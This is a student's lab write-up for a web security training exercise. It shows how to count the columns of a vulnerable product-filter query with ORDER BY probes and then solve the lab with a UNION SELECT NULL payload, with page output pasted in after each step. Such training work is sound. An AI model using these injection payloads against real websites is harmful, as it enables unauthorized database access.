

**Name: Dushing Komal Yogesh**

**Class: TY**

**Division: A**

**Batch: A3**

**Roll No.: 65**

**PRN: 0124UITF1065**

## Assignment 4:

### Lab: SQL injection UNION attack, determining the number of columns returned by the query



This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.



#### Step 1: Open the Lab

1. Click **Access Lab**.
2. Wait until the shopping website opens.

---

#### Step 2: Open Any Category

Click any category, for example:

- Gifts
- Lifestyle
- Pets

The URL will look similar to:

`https://lab-id.web-security-academy.net/filter?category=Gifts`

Notice the parameter:

`category=Gifts`

This is the parameter you'll test.

---

#### Step 3: Test for SQL Injection

- In the address bar, replace the category value with: **Gifts'**
- So the URL becomes: **...?category=Gifts'**
- Press **Enter**.

## OUTPUT:



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

[Back to lab home](#) [Back to lab description >>](#)

Internal Server Error

Internal Server Error

the parameter is vulnerable.

## Step 4: Use ORDER BY to Find the Number of Columns

- Now append: ' ORDER BY 1--

Example: ...?category=Gifts' ORDER BY 1--

## OUTPUT:



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

[Back to lab home](#) [Back to lab description >>](#)

[Home](#) | [My account](#)



Gifts' ORDER BY 1--

column 1 exists

Try: ' ORDER BY 2--

## OUTPUT:



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

[Back to lab home](#) [Back to lab description >>](#)

[Home](#) | [My account](#)



Gifts' ORDER BY 2--

If it works, continue.

Then: ' ORDER BY 3--

### OUTPUT:

---



SQL injection UNION attack, determining the number of columns returned by the query

[Back to lab home](#) [Back to lab description >>](#)

LAB

Not solved



---

Home | [My account](#)

WE LIKE TO SHOP 

Gifts' ORDER BY 3--

Refine your search:

[All](#) [Clothing, shoes and accessories](#) [Gifts](#) [Lifestyle](#) [Pets](#) [Toys & Games](#)

---

Try: ' ORDER BY 4--

### OUTPUT:

---



SQL injection UNION attack, determining the number of columns returned by the query

[Back to lab home](#) [Back to lab description >>](#)

LAB

Not solved



---

Internal Server Error

Internal Server Error

---

## Step 5: Verify Using UNION SELECT

If you found **3 columns**, try: ' UNION SELECT NULL,NULL,NULL--

### OUTPUT:

Congratulations, you solved the lab!

Share your skills!

[Continue learning](#) >>[Home](#) | [My account](#)

Gifts' UNION SELECT NULL,NULL,NULL--

---

## Conclusion:

"First, I identified the vulnerable parameter (category) in the URL. Then I used the ORDER BY clause with increasing numbers (ORDER BY 1, ORDER BY 2, etc.) to determine how many columns the query returns. When a particular ORDER BY value caused an error, I knew the previous number was the correct column count. Finally, I verified it by using UNION SELECT with the same number of NULL values. When the query executed successfully, it confirmed the correct number of columns and the lab was solved."